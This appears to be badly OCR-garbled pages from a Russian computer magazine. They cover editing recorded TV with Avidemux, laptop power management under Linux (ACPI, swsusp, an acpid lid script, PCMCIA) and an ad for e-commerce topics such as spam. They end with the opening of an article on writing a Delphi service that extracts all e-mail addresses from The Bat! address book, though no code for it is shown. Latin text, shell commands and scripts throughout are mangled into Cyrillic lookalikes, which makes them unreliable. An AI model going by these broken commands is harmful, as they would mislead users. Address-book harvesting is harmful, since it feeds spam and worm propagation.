нием видео, без применения эффектов, из- 
менения формата и так далее. Ргосезз - ког- 
да ты обрабатываешь фильм эффектами, 
при этом меняя параметры кодеков. В лю- 
бом случае, при режиме Ргосезз видео будет 
переконвертировано кодеком. 



Но, допустим, мы только удалили некий 
фрагмент - рекламу, и теперь хотим сохра- 
нить файл. Возникает небольшая пробле- 
ма. Если маркер В не является ключевым 
кадром, а неким "промежуточным", то при 
удалении такого фрагмента могут возник- 
нуть "битые" кадры - ты, наверное, видел 
не раз, как видео вдруг превращается в 
эдакий импрессионизм, мешанину цветов 
и форм. Понятное дело, что вырезать 
фрагменты только по ключевым кадрам не 
очень удобно. Поэтому выбираем режим 
ЗтаП сору. Причем та часть видео, где 
произошла потеря ключевых кадров (если 
маркер В был не ключевым, значит, при 
удалении фрагмента ты удалил и предше- 
ствующий маркеру В ключевой кадр), бу- 
дет заново перекодирована. Тебя попросят 
ввести значение для квантайзера. Обычно 
это 4 или 5. Говоря проще, в режиме 
ЗтаП: сору кодеком будут заново пересжа- 
ты все "стыки". 

Еще немного поговорим о режимах ра- 
боты Аѵісіетих. По умолчанию включен ре- 
жим Сору. Чтобы активировать Ргосезз, 
надо нажать кнопку ѴРгосезз (на нижнем 
тулбаре). Аналогичный режим есть для ау- 
дио - включается он кнопкой АРгосезз. 
Когда они включены, ты можешь использо- 
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ПОЛЕЗНЫЕ ВИДЕОФИЛЬТРЫ ПѴІПЕПІІХ2 



Сгор - обрезка изображения по краям. Причем сразу показывается, как 
именно картинка будет обрезана. Никакого "научного тыка", все визуально. 

Кезіге - изменение размеров. Тут все понятно. Вернее, не совсем все 
понятно, так как изменение размеров сопряжено с возникновением ис- 
кажений в видео, но это - тема обширная и выходит за рамки этой статьи. 

ВІаскеп Ьогсіегз - заливка рамки видео черным цветом. 

Оеіпіегіасе - устранение "гребенки". Эту же проблему можно попытать- 
ся ликвидировать, экспериментируя с разными типами беіпіегіасіпд'а в 
Хаѵѵсіесосіе, что, впрочем, нагрузит процессор, и без того озабоченный 
сжатием в тред4. 

ЗиЬШІе - позволяет встроить субтитры непосредственно в видео, а не в 
форме отдельного файла. Можно задать источник текста, шрифт и его цвет. 

АсШ ВІаск Вогсіегз - добавить черную рамку. А потом можно наложить на 
ее нижнюю половину субтитры. 



вать видео и звуковые фильтры. Для них предус- 
мотрены кнопки А РіІІег и V Ріііег. 

Л подытожим 

Однако пора подвести итоги. После должной наст- 
ройки запись чего-либо с ТВ потребует минимума 
усилий с твоей стороны - знай сиди да нажимай на 
В. Учитывая широкие возможности І_іпих по плани- 




рованию задач, даже этот процесс можно автома- 
тизировать, чтобы Хаѵѵсіесосіе автоматически запус- 
кался в указанное время и записывал столько-то 
времени видео по такому-то каналу (см. скрипт 
хаѵѵбесобе гесогб из комплекта продукта). Ну а на- 
личие такой программы, как Аѵібетих2, позволяет 
делать с видео практически все, что может понадо- 
биться домашнему пользователю. 

В настоящее время мультимедийные возмож- 
ности І_іпих и ѴѴіпсІоѵѵз встали на один уровень (хо- 
тя в Ипих гораздо шире реализована поддержка 
передачи потокового аудио и видео по сети, под- 
робнее об этом читай в одном из прошлых номе- 
ров X в статье "Вещаем в сети" - прим, ред.), но с 
одним важным различием: в Ипих этот софт бесп- 
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Л юбопытно резюмировать софт, аналогичный описанному в этой 
статье, но для платформы ѴѴіпсІоѵѵз. Кодек - ХѴіб либо ЭіѵХ 
(ѵѵѵѵѵѵ.сііѵх.сот). Последний представлен четырьмя версиями - две ком- 
мерческие, одна с рекламой и еще одна бесплатная. Бесплатная хороша 
для того, чтобы смотреть кино, а сжимать видео ей не очень удобно, так 
как все вкусные фишки в ней заблокированы и доступны только в ком- 
мерческой версии. Я понимаю, что народ знает о существовании такой 
милой штуки, как кряки, но... 

Многие продвинутые пользователи качают знаменитые твикнутые \АЮМ- 
дрова от Ивана Ускова (ѵѵѵѵѵѵ.іиІаЬз.сот/гиз), которые в некоторых слу- 
чаях позволяют выжать из их ТВ-тюнеров больше, нежели стандартные 
драйверы. Затем наш гипотетический продвинутый пользователь качает 
себе ЬТѵ (ранее ВогдТѴ) с ѵѵѵѵѵѵ.ЬогдІесН.огд/Ыѵ. ВТѵ - одна из лучших 
программ своего класса. Позволяет смотреть ТВ и записывать его на 
диск, используя один из установленных в системе кодеков (в том числе и 
ОіѵХ). Хотя ЬТѵ не бесплатна, я не знаю ее фриварных аналогов для 
ѴѴіпсІоѵѵз. Зато есть несколько коммерческих. 

Итак, если у тебя нет желания платить за софт и пользоваться взло- 
манными программами, то проблемы особой нет. Однако если некие 
моральные принципы запрещают тебе использовать нелицензионный 
софт, то в ѴѴіпсІоѵѵз выбор не так уж велик - базовый кодек ЭіѵХ либо 
ХѴіб, дрова от Ускова и ЬТѴ. 




е-соттегсе 



Поднятие денег 
из глубин интернета 



• Гогех или валютные 
спекуляции 

• Создаем интернет-магазин 

• Делаем деньги на кодинге 

• Цифровой порнобизнес 

• Спам как средство 
заработка 

• НУІР - онлайновые 
инвестиции 

• Аукционы - подробное 
руководство 

• Как стать хостером 

• Раскрутка сайтов 

• Электронные деньги 

• Интернет в законе 



ПЛЮС: 

• Лучший софт от ИоИаМе 

• Школа фрика - стань 
радиохакером! 



Уникальная информация и 
софт на прилагаемом СО! 
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никс на ноутбуке - возможно пи такое? Не секрет, что современные мобильные лаптопы гораздо сильнее завлзаны на конкретную 
операционку (угадай, какую), чем настольный писюк. Управление питанием, яркостью экрана, "засыпание" с сохранением 
настроек, специфичные функциональные клавиши, беспроводная связь, редкое (т.к. мобильное) железо - все это требует 
специальных драйверов от конкретного производителя. Разумеется, почти все вендоры пишут свои дрова исключительно под одну 
популярную ОС и рекомендуют только ее для своей продукции. Даже ІВИ, самый, пожалуй, мощный на текущий момент спонсор 
и пропагандист Ыпих, ставит на свою серию ноутов ТІііпкРагі все тот же поготипчик "Оезідпегі Гог Шіпйош КР". Тем не менее, никсы, 
хоть и не без проблем, вполне сносно живут на лаптопах. 



пингвин нп КОЛЕНЯХ 

А МЕНЯЕМ ОКНО НЯ ТЖП 

Д олгое время мне было глубо- 
ко наплевать, как моя нас- 
тольная операционка работа- 
ет с питанием, монитором, 
мобильными устройствами. 
Мой компьютер работал 
(да и сейчас работает) двад- 
цать пять часов в сутки без 
перезагрузки и выключения, 
а если мне надо было увеличить яркость 
монитора - я просто нажимал нужные кнопки 
вызова ОБО (Оп Бсгееп Оізріау). Так было 
до тех пор, пока я не приобрел себе новень- 
кий лаптоп от Бопу. С ноутом поставлялась 
предустановленная ѴѴіпХР Ноте ЕсІІІІоп с до- 
полнительными программами и утилитами, 
которую строго не рекомендовалось сно- 
сить. Лицензионная ѴѴіпХР прожила у меня 
ровно до первой перезагрузки - эта была 
перезагрузка с диска РгееВБО 5.1-ВЕІ.ЕАЗЕ. 
Второй осью встал БІаскѵѵаге І_іпих. После 
этого и начались полные удовольствия ночи 
с заточкой операционок под лаптоп. 

Испытания мобильностью проходят самые 
выдающиеся представители братства откры- 
тых исходников - Ипііх 2.4/2. 6 и РгееВБО 5. 

К сожалению, вместить в одну статью все 
тонкости настройки обеих ОС не представля- 
ется возможным, поэтому здесь речь пойдет 
исключительно о пингвинах, а трудолюбивые 
демоны подождут до следующего номера. 

Л псріииш 

Самое важное отличие ноутбуков от настоль- 
ных машин - это повышенное внимание к уп- 
равлению питанием. В стандартный набор 
возможностей входят: возможность перехода 
в режим пониженного энергопотребления, 
регулировка яркости экрана, возможность 




к. 



"засыпать" с сохранением текущей рабочей 
сессии (зизрепб Іо ВАМ/зизрепб Іо бізк), а 
также умение реагировать на внешние собы- 
тия (например, уменьшать яркость экрана 
при выдергивании шнурка питания и возвра- 
щаться на максимальную яркость - при об- 
ратном подсоединении). 

В Ипих поддержка АСРІ изначально прису- 
тствовала в виде патчей проекта АСР14Шпих, 
а затем эти изменения плавно перетекли в 
основную ветку ядра. Но и сейчас на сайте 
проекта появляются микроскопические пат- 
чики, исправляющие огрехи последних рели- 
зов. В І_іпих 2.4/2. 6 поддержка АСРІ включа- 
ется в ядро в разделе СепегаІ Беіир -> 

Роѵѵег Мападетепі зиррогі -> АСРІ Биррогі. 
Поддержку управления температурным режи- 
мом, процессором, кулером и т.п. можно как 
включить в ядро, так и собрать модульно. 

А ПСРІВШШХ2.4 

Новая стабильная ветка 2.6 существенно 
продвинулась вперед в плане поддержки 
АСРІ. Я бы даже не побоялся сказать, что в 
2.6 АСРІ поддерживается практически полно- 
ценно. К сожалению, не все могут позволить 
себе перейти на 2.6 в силу его "сырости": у 
кого-то не работает ТѴ-тюнер, у кого-то глю- 
чит ІгатеЬиПег - подобные сообщения не 
редкость в ІктІ (Ипих кегпеі таіііпд Іізіз), по- 
этому упоминание ядер 2.4 все еще актуаль- 
но, хотя в них поддержка АСРІ, прямо ска- 
жем, не на высоте. 

Полноценная поддержка АСРІ в 2.4 (здесь 
и далее под этим я буду подразумевать воз- 
можность не только включаться и выклю- 
чаться, но и "засыпать" с сохранением сос- 
тояния в оперативную память или раздел 
винчестера) возможна только с помощью 
патча ЗоІТѵѵаге БизрепсІ (зѵѵзизр2). Если быть 




точным, все, чему этот патч научит ядро 2.4 
- это засыпать с сохранением дампа опера- 
тивки на раздел диска и просыпаться с вос- 
становлением этого дампа. Для работы по- 
надобятся два патча - специфичный для оп- 
ределенной версии ядра и основной соге- 
патч. На момент написания этих строк пос- 
ледним был патч для 2.4.24 ревизии 7 и 
соге-патч версии 2.0. Разумеется, когда ты 
будешь читать эти строки, перечисленные 
версии будут делами давно минувших дней 
:), хотя патчи могут подойти и для новой 
версии ядра, например, патч для 2.4.24 мо- 
жет без проблем лечь на 2.4.25. Также не 
забудь глянуть на АСРІ-патчи (это, как пра- 
вило, косметические исправления) для акту- 
ального ядра на сайте асрі.зі.пеі. 

Установка выполняется в четыре шага. 
Первым делом необходимо пропатчить ядро, 
сначала применив специфичный патч, а за- 
тем уже соге-раісб: 
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$ ей /и$г/$гс/иіш-2.4.х 

# раіеіі -рі < ІосаІіоп-о(-$и$іі5р-ѵег$іоп-$ресі(іс-раІсІі 

# раіей -рі < ІосаІіоп-оГ$ки$р-соге-раІсІ] 

Затем включаем в конфигурации подде- 
ржку 5ѴѴ51І5Р. Ніпі: если до этого ядро уже 
было сконфигурировано, можно набрать 
"таке оІбсопЕід", и система предложит вклю- 
чить появившиеся опции: 

ШГ16ЖТШЕ^$РЕМАРШ1ТЕИ 

С(МІ6_$0ЕТШЕ_$ІІ$РЕІІ[)2=у 

С0МЕІ6_50РШАКЕ_5и$РЕМ0_С0МРКЕ55І0М=у 



Или в меню "таке теписопЛд": 



СепегаІ $еІир — > 

Мшаге $іі$реп(1 $иррог( — > 

Ітаде $іогаде (уои леей аі Іеааі 

опе іѵгііег) — > 

П $иар ІМег 
Раде Тгап$Рогтег5 — > 

П Сотргезз ітаде 

Компилируем и ставим ядро: 

# таке Дер сіеап Ьіітаде тогіиіез тоііиЫпаІаІІ 

Затем в /еіс/ІИо.сопТ (или в конфиге 
СгиЬ'а с соответствующими изменениями) 
прописываем ядру новый параметр - раздел 
диска, в который будет свопиться содержи- 
мое оперативки: 

арреп(І="ге$ите2=$ѵѵар:/(іеѵ/Іі(1а4" 

Где Іісіа4 - заранее заготовленный раздел, 
размер которого вычисляем по формуле: 

1 ,5*ОЗУ. Если создать новый раздел проб- 
лематично, то можно настроить свопинг в 
файл, подробности описаны в документации. 
Таким образом, запись для 5ѴѴ51І5Р-ядра в 
/еіс/ІіІо.сопГ может выглядеть так: 



К ѵі /еіс/ІІІо.соп( 



ітаде=/І)ООІ/ѵтІііш-2.4.24 
ІаЬеНіпихШЗР 
гооІ=/(іеѵ/Іі(1а2 
ѵда=791 

арреп(1="ге5ите2=5ѵѵар:/с1еѵ/Еіс]а4 
1кіс=і(Іе-$с$і" 

геай-опіу 

Если все прошло удачно, 
то после перезагрузки с но- 
вым ядром файл 
/ргос/асрі/іпТо должен показать появление 
нового зіаіе 34 (зѵѵзизр). В принципе, "зас- 
нуть" можно уже сейчас командой "еейо 4 > 
/ргос/асрі/зіеер" (или "еейо > 
/ргос/зѵѵзизр/асііѵаіе"), однако есть способ 
лучше - использовать поставляемый разра- 
ботчиками скрипт зизрепб.зб. Он, например, 
выгружает "проблемные" модули, чтобы пос- 
ле пробуждения загрузить их снова. За под- 
робностями отсылаю тебя к документации 
на зѵѵзизр.зГ.пеі, а сам тороплюсь перейти 
к возможностям ядра 2.6, все-таки мы рас- 
сматриваем современное железо в ноутбу- 
ках, а это обязывает нас быть на переднем 
крае ядерных разработок. 

Л ПСРІВШШ 2.6 

В 2.6 полноценная поддержка АСРІ доступна, 
что называется, "из коробки" - никаких пат- 
чей не надо. Помимо того же зѵѵзизр2, в яд- 
ро включены зѵѵзизр и ртбізк, которым со- 
ответствуют конфигурационные опции СОкІ- 
Ріе_ЗОР™АВЕ_5иЗРЕМО и СОкІРІС_РМ_ОІ5К 
соответственно. Обе технологии позволяют в 
качестве кроватки для пингвина указывать 
раздел диска (опять-таки опцией в Шо.сопТ). 
Для зѵѵзизр это будет гезите=/беѵ/бба4, для 
ртбізк - ртсіізк=/сіеѵДісіа4. Кроме этого, 
зѵѵзизр умеет снимать питание с процессора 
и винчестера, оставляя под напряжением 
лишь оперативку, то, что называется зиз- 
репб Ео ВАМ. 

Активировать режим зѵѵзизр можно все 
той же командой "есЕіо 4 > /ргос/асрі/зіеер" 
(для суспенда на винт) либо "есбо 3 > 
/ргос/асрі/зіеер" (для суспенда в ОЗУ). Одна- 
ко в 2.6 рекомендуется использовать новую 
псевдофайловую систему /зуз, таким обра- 
зом, засыпание на винт будет выглядеть как 
"есію -п сіізк > /зуз/роѵѵег/зЕаЕе" (это и есть 
ртбізк), а в оперативку - "есбо -п тет > 
/зуз/роѵѵег/зЕаЕе". 
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Что же делать, если что-то пошло не так, 
а ядро упорно хочет гезите'ться с раздела 
диска и от этого сходит с ума, впадая в па- 
нику? Зѵѵзизр можно отключить, передав яд- 
ру параметр загрузки погезите, зѵѵзизр2 - 
погезите2, а ртсіізк - ртсІізк=оГГ. 

Помимо различных тонкостей настройки, 
а также того факта, что одна технология у 
тебя может работать, а другая - нет, отмечу, 
что только зѵѵзизр2 умеет засыпать в суще- 
ствующий раздел подкачки, работать с ядра- 
ми с включенной опцией НІСНМЕМ (т.е. на 
машинах с объемом оперативки от 1 до 4 
Гб), и только он умеет работать с многопро- 
цессорными машинами (как ни странно, 
только с ядрами 2.4). Вот и выбирай, 
что тебе по вкусу. 

.іпсрілстнмзииш 

Не надо забывать, что АСРІ - это не только 
засыпание и пробуждение, но и управление 
питанием всей машины. Подсистема реаги- 
рует на события (вроде закрывания дисплея 
ноутбука), сообщая изменения операционке. 
Стало быть, нужно ПО, воспринимающее эти 
изменения и реагирующее соответствующим 
образом. Для этого в Ипих есть демон аеріб. 
Скорее всего, для твоего любимого дистри- 
бутива есть подходящий пакет, так что уста- 
новку рассматривать не будем. А вот наст- 
ройку - непременно. 

По умолчанию каталог настроек демона - 
/еЕс/асрі. В нем содержатся управляющие 
скрипты и папка еѵепЕз, в которой располага- 
ются конфиги событий. Каждый конфиг состо- 
ит из двух строчек - событие (еѵепЕ) и сопос- 
тавляемое ему действие (асЕіоп). Каждое отс- 
леживаемое событие представляется своей 
подсистемой. Состояния всех возможных под- 
систем содержатся в соответствующих файлах 
в каталоге /ргос/асрі псевдофайловой систе- 
мы ргос. Действие - это обычный зГіеІІ-скрипт, 
запускаемый при изменении состояния под- 
системы, или просто команда. Поясню на 
примере с уже упомянутым дисплеем ноутбу- 
ка. Создадим файл /еЕс/асрі/еѵепЕз/ІісіЬЕп сле- 
дующего содержания: 

еѵепІ=ЬиЕЕоп/Іі(1 

асЕіоп=/еЕс/асрі/Іі(1Мп.$Іі 

Убедимся, что у нас загружен аері’шный мо- 
дуль ядра ЬиЕЕоп (если мы его собирали как 
модуль, разумеется), и заглянем в 
/ргос/асрі/Ьийоп/Ііб. Здесь мы найдем папку 
Ш (по количеству дисплеев, а он у нас один) 
и в ней два файла: іпЕо и зЕаЕе. Первый содер- 
жит информацию о том, что данная подсисте- 
ма работает с Ш ЗѵѵіЕсЕі - переключателем 




лаптоп из. ноутбук 

Т ак сложилось, что в среде юниксоидов (и не только их) ноут- 
буки принято называть лаптопами (ІарТор), буквально - 
компьютер, расположившийся на коленях. В русском же языке 
прочно закрепился термин "ноутбук". Забавно, но это отнюдь не 
синонимы - лаптопами в прошлом веке назывались первые "мо- 
бильные" компьютеры, еще не имеющие аккумуляторов (они 
потребляли слишком много энергии, а источники питания тогда 
не были компактными и мощными, как сейчас), но по размерам 
гораздо меньше персоналок (умещающиеся на коленях), во 
всем похожие на ноутбуки. Ноутбук же - это лаптоп, оснащен- 
ный аккумулятором, что позволяет вытащить шнурок питания и 
пойти с ним (ноутбуком) гулять. В статье я следую современной 
трактовке термина и не разделяю эти два понятия. 




а Для управления 
беспроводными 
сетевыми картами 
в Ііпих существует 
пакет ѵѵігеіезз- 
(ооІ5, включающий 
в себя утилиту 
настройки сетевухи 
іѵѵсопЕід и іѵѵргіѵ, 
утилиты сбора ста- 
тистики по беспро- 
водным точкам 
іѵѵіізі и іѵѵзру и 
многое другое. 




л ѵѵѵѵѵѵ.кегпеі.огд 
л ЕгезЕішеаІ.пеІ 
л асрі.зоигсе- 
Еогде.пеі 
а зѵѵзизр. зоигсе- 
(огде.пеі 
а Ш.сот/зоД- 
ѵѵаге/гасіеоп/ 
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л Для регулирова- 
ния частоты рабо- 
ты процессора су- 
ществует демон 
сри(гецсІ. Ядро 2.6 
поддерживает его 
"из коробки" 

(Роѵѵег тападетепі 
орііопз (АСРІ, АРМ) 
-> СРЦ Ргециепсу 
зсаііпд), а для 2.4 
нужен патч. Сам 
демон можно ска- 
чать с 

сриЕгецсІ.зоигсе- 

Іогде.пеі. 



РСРІ В ПОДРОБНОСТЯХ 

Р СРІ (Асіѵапсесі СопГідигайоп & Роѵѵег ІпіегТасе, Расширенное 
Управление и Интерфейс Питания) - это открытый стандарт 
1996 года, разработанный компаниями ІпѣеІ, ТозіііЬа, Неѵѵіей- 
РаскагсІ и МісгозоЙ, описывающий управление хардварными 
частями компа. В отличие от его предшественника АРМ 
(Асіѵапсесі Роѵѵег Мападетепк Расширенное Управление Пита- 
нием), полная поддержка и управление подсистемой АСРІ воз- 
можна не только на уровне ВІ05 (Тігтѵѵаге), но и на уровне опе- 
рационки. То есть теперь ОС может, согласно своим нуждам, 
управлять частотой процессора, контролируя температуру, 
потребление энергии и т.п., что дает гораздо большую гиб- 
кость. Текущая версия АСРІ - 2.0с (асрі-20020404), поддержи- 
вает как 32-разрядные, так и 64-разрядные платформы. В раз- 
работке - версия 3.0. 

Работа процессора контролируется режимами управления пи- 
танием, т.н. С-зТаТез (С1-СЗ), когда используется не вся мощ- 
ность процессора (например, когда система неактивна и вся 
мощь процессора не требуется), тем самым регулируется его 
температура, а также "усиленным" управлением питанием 
(ЙтгоШпд сопігоі, Т-зіаіез), когда процессор "засыпает" на оп- 
ределенные промежутки времени, например, для избежания 
перегрева и экономии потребляемой энергии. Кроме этого, су- 
ществует т.н. управление производительностью (регТогтапсе 
сопітоі, Р-зТаТез), в простейшем случае это программное сни- 
жение частоты работы процессора со снижением рабочего нап- 
ряжения все с той же целью - протянуть на аккумуляторах как 
можно дольше (технологии Іп4еІ ЗреесіЗГер и Сепітіпо). 



сонное царство псрі 

С амая известная и, пожалуй, часто используемая фишка в под- 
системе АСРІ -это т.н. зІеерзШез, состояния системы. Всего их 
шесть, обозначаются они как З-зГаГе (от 30 до 35). Помимо очевид- 
ных состояний "все включено" (30 - "ѵѵогкіпд"), когда идет нормаль- 
ная работа, и "все выключено" (35 - "зоЙ ой"), когда питание отклю- 
чено, однако система может реагировать на внешние воздействия 
(например, всем известная возможность включения компа нажа- 
тием на клавишу или включение по сети - "ѵѵаке-оп-Іап" - как раз из 
области 35), существуют режимы 33 - "Зизрепб Іо ВАМ", когда сис- 
тема выключается, но текущее состояние дампится в оперативную 
память, позволяя моментально восстановить рабочую сессию без 
повторной загрузки ОС и приложений, виндовый "ЗизрепсГ - как 
раз переход в это состояние. 34 - "Зизрепб Іо Оізк", то же самое, но 
состояние оперативки дампится на раздел винчестера или в файл, 
что позволяет не затрачивать энергию на "подпитку" памяти, в вин- 
дах этому состоянию соответствует режим "НІЬегпаІе”. Наконец, 
режим 31 - "ЗіордгапГ - выключение процессора, и 32 - зарезер- 
вированное, но не используемое состояние. 

Конкретная реализация АСРІ может не поддерживать некото- 
рые состояния, но, как правило, 33, 34 и 35 поддерживаются 
всегда. Помимо зіеер зіаіез, АСРІ умеет управлять температур- 
ным режимом, регулируя работу кулера, а также контролиро- 
вать работу процессора. 




дисплея (из положения открыт/закрыт), второй 
содержит текущее состояние - ореп означает, 
что дисплей открыт. Если мы захлопнем крыш- 
ку, подсистема АСРІ сгенерит изменение сос- 
тояния, и в файл /ргос/асріфийоп/ІісІ/Ш/зІаіе 
запишется новое состояние - сіозеб. В свою 
очередь демон асрісі отловит изменения в 
/ргос, сопоставит с событиями, которые он 
должен отслеживать, найдет конфиг ІібЫп и 
запустит скрипт, указанный в поле асііоп - 
/еІс/асрі/ІібМп.зіі. Это самый обыкновенный 
скрипт, читающий состояние из файла 
/ргос/асрі/ЬиПоп/Ііб/Ш/зІаіе и гасящий экран, 
если тот закрыт (в файле записано состояние 
сіозеб), и включающий обратно - если открыт 
(состояние - ореп). Для удобства добавим ус- 
ловие - гасить экран будем, только если ноут 
питается от батарей, ведь в противном случае 
беречь энергию некритично. Для этого прочи- 
таем файл /ргос/асрі/Ьайегу/ВАТІ/зіаіе, содер- 
жащий информацию о текущем источнике пи- 
тания, нас интересует строчка сйагдіпд зіаіе: 
сбагдіпд - если заряжаемся, т.е. питаемся от 
сети, и бізсііагдіпд - если питаемся от аккуму- 
лятора. Гашение экрана будет происходить, 
только когда батарея начнет разряжаться: 



# ѵі /еіс/асрі/ІШп.зІі 



#!/Ьіп/$Іі 

Іі(І_$ІаІіі8='ай '/Маіе:/ { ргіпі $2 }' 

/ргос/асрі/ЬиІІоп/Іі(І/ив/$ІаІе' 

ЬаІІ_$іаІи$='аѵік '/‘сііагдіпд аіаіе:/ { ргіпі $3 }' /ргос/асрі/імі- 

іегу/ВАШаІе' 

сазе $ІІ(1_$ІаІи$ іп 

"сіозеіі") 

[ -п $ЬаІІ_5ІаІпз -а $і)аіі_$1аііі$ = "сіізсііагдіпд" ] && \ 
/изг/ІосаІ/зЬіп/гасіеопІооІ Іідііі оіі 
ехііО 

"ореп") 

/изг/ІосаІ/зЬіп/гасіеопІооІ Іідііі оп 
ехііО 

езас 

Где габеопіооі - утилита для контроля яр- 
кости ноутбучных мониторов для АТІ МоЬіІіІу 
Вабеоп. Можно изменить реакцию по вкусу, 
например, выключать ноутбук/уходить в 
зіапббу, если питаемся от аккумулятора, 
просто гасить экран, если от сети. 

Аналогичным образом создается реакция 
на остальные события. Для себя я написал 
скрипты, устанавливающие яркость монито- 
ра вполовину максимальной при питании от 
батарей, и переключающие яркость на пол- 



ную - при втыкании шнурка в розетку, 
а также корректно выключающие ноутбук 
при нажатии на кнопку питания. Теперь ты 
знаешь, как это сделать - нужно всего лишь 
обработать соответствующий файл 
в /ргос/асрі и иметь самые начальные 
познания в зііеІІ-скриптинге. 



Л СПЕЦИФИЧНЫЕ ПРОГИ 

Часто бывает, что поддержка ноутбуков опре- 
деленной фирмы выделена особой опцией в 
ядре. Это связано не с АСРІ, а скорее с тон- 
костями взаимодействия операционки с желе- 
зом ноутов конкретного вендора. Так, напри- 
мер, для лаптопов от 5опу в І_іпих есть специ- 
альный девайс зопурі, создаваемый одноимен- 
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ным модулем (который, разумеется, должен быть 
собран во время конфигурирования ядра). Его зада- 
ча состоит в том, чтобы предоставить интерфейс 
доступа к железу изегіапб-программам. На ноутбуках 
же других вендоров он совершенно бесполезен. Для 
Золу существуют пакеты зрд, рісіигебоок, ѵаіотадіс, 
которые позволяют пользователю контролировать 
яркость экрана, просматривать заряд батарей, и де- 
лают функциональные клавиши (которые в силу ком- 
пактности ноутбучных клавиатур есть почти в каждом 
лаптопе) не такими уж бесполезными в не ѵѵіпбоѵѵз 
среде. Для ноутов других производителей наверняка 
должно быть нечто подобное. 

Л СЕТЕВОЕ ЖЕЛЕЗО 

Ноутбуки - устройства мобильные, поэтому неудиви- 
тельно, что их оснащают всевозможными средства- 
ми связи. Встроенная 10/100/1000 сетевая карта и 
56К модем - это вчерашний день, сегодня любой 
уважающий себя лаптоп несет на борту встроенный 
ѴѴі-Рі или Віиеіооіб-адаптер. По поводу встроенных 
сетевухи и модема все понятно - первые делаются 
на тех же чипсетах, что и их "большие братья", а 
значит, отлично поддерживаются ипіх-миром, вторые 
же в ноутах всегда софтовые ака ѵѵіп-модемы, поэто- 
му, во-первых, по определению убогие, и во-вторых, 
практически все рассчитаны на работу под виндой, 
за редким исключением, вроде модемов на 
Іисепі'овских чипах. Так что разъем Вб-1 1 можешь 
заклеить скотчем - в юниксе он тебе не понадобится 
:). ѴѴі-Рі адаптеры в ноутбуках в основной своей мас- 
се рассчитаны на стандарт 802. 1 1 Ь, только недавно 
начали выходить лаптопы со встроенными 802. 1 1 д- 
картами, и с огромной долей вероятности можно 
предположить, что карточка опознается и будет ра- 
ботать. И в І_іпих, и во ЕгееВЗР лучше всех поддер- 
живаются карты на чипсете Іпіегзіі Ргізт2, под этим 
понимается полноценная поддержка ѴѴЕР до 1 28/256 
бит и возможность работы в режимах аб-1юс, іпіга- 
зігисіиге и даже в роли точки доступа (ар-тобе) - ес- 
ли, конечно, карта это умеет. Что же касается после- 
довательных или СОМ-портов, достававшихся ноу- 
там в наследство от настольных компов, то они те- 
перь безнадежно устарели. 




.ІРСИСІПИШШХ 

РСМСІА - довольно старый интерфейс для подк- 
лючения мобильных устройств. Тем не менее, он 
и по сей день используется в ноутбуках, и альтер- 
нативной замены ему не предвидится. Можно 
найти любой девайс для ноутбука, от модема до 
ѴѴі-Рі-карточки, в РСМСІА-исполнении. Часто РСМ- 
СІА называют просто РС-САРЮ, в никсах особенно 
часто встречается этот синоним. Для начала убе- 
димся, что ядро собрано с поддержкой шины 
сагббиз и рстсіа: 



Подробности - в разделе РСМСІА/СагбВиз зир- 
роб конфигурации ядра. Следующие сообщения 
при загрузке говорят о том, что слот опознан и го- 
тов к работе: 

Ніш КегпеІ Саггі Зегѵісез 3.1.22 
орііопз: [рсі] [сагббиз] [рш] 

Ѵепіа І5А ІРО та$к 0х0сЬ8, РСІ ігц 9 
$оскеі $іаіи$: 30000006 

Помимо ядерной поддержки, нужен демон, об- 
рабатывающий события вроде вставки-вынимания 
карточки из слота и управляющий РСМСІА-устрой- 
ствами. В І_іпих этот демон зовется сагбтдг из па- 
кета рстсіа-сз. Его задача - опознать, что за карта 
вставлена в РСМСІА-слот, загрузить соответствую- 
щие модули, выделить устройству прерывания и 
т.п. Конфигурационные файлы лежат в /еіс/рстсіа, 
главный из которых - сопіід - представляет собой 
базу карт. Пример записи из сопіід: 

сагб "ОзііесІі Заек оі Зрайез Разі Еібегпеі/Мобет" 

тапШ 0x0140, 0x0012 

Ыпй "еріс_сЬ" (о 0, "$егіаІ_сЬ" іо 1 

Таких строчек сотни, и твоя карта наверняка 
должна опознаться соответствующей записью в 
файле настроек. Если же в конфиге дистрибутив- 
ной поставки ее нет, стоит поискать в Сети - на- 
верняка кто-либо уже прикручивал подобную кар- 
ту к І_іпих, либо твой пакет сагбтдг может быть 
просто оиібаіеб. В Сети есть списки совместимос- 
ти существующих РСМСІА-устройств с Упих, так 
что стоит посмотреть подобный І_іпих рс-сагб сот- 
раіібііііу Іізі. Наконец, управление картой может 
быть осуществлено из консоли с помощью утилиты 
сагбсіі из того же пакета. 

Как видишь, пингвин может вполне уютно раз- 
меститься на коленях, доставляя тебе немало ра- 
дости :). То Ье сопііпиеб... □С 



ВСЕ НО БОРЬБУ С ПОДЕПКОНИ 




Н екоторые производители совсем уж дружелюбных дистрибутивов 
выпускают специальные версии своих продуктов, заточенные под 
ноуты. Так, Ыпзріге (бывший Ыпсіоѵѵз), наравне со своим десктоп-дист- 
рибутивом продает ЫпсІоѵѵзОЗ Ьаріор ЕсШіоп. Лично мое мнение - от 
таких вещей надо бежать как от огня, т.к. это сильно изуродованные 
дистрибутивы, которые разработчики пытаются превратить во "вторую 
ѵѵіпбоѵѵз" в плане дружелюбности и простоты. Обычно получается 
глючная поделка, легче и лучше все самому с умом настроить руками. 
Первый признак таких дистрибудивоваятелей - всяческое абстрагиро- 
вание от того, что они производят собственно дистрибутив І_іпих, гор- 
до называя свои поделки "операционными системами". 



#ММ*<Й№ 





П очему ТИе Ва(! считается самым безопасным почтовым клиентом? Депо в том, что он не поддерживает всякие КВ скрипты, а формат 
его адресной книги засекречен. Если в ОиІІоок любой вирус может получить доступ к адресбуку и разослать себя твоим друзьям, 
то в Тііе Ваі! это нереально. Вернее, кажется нереальным. Мы как ІВМ-совместимые люди вполне можем написать сервис, который 
вытащит все е-таіГы и аккуратненько сложит их в Ш-файп. 




ПИШЕМ СЕРВИС, сканирующий ПДРЕСНУЮ КНИГУ ТНЕ ВОТ! 




л надрЕЗ 

ачнем с создания сервиса как 
такового. Есть два способа. 
Можно, конечно, слегка пору- 
коблудить и написать его с по- 
мощью ѴѴіпАРІ, но зачем выду- 
мывать пистолет, когда есть 
пулемет? Поэтому мы вос- 
пользуемся готовым классом 
ТЗегѵісе от великой корпорации Вогіапсі. 



Теперь запускаем Эеірбі и сразу закрыва- 
ем созданный по умолчанию проект. Теперь 
выбирай РіІе/Меѵѵ/ОШег (Для Эеірбі меньше 7 
версии просто РіІе/№ѵѵ) и в появившемся 
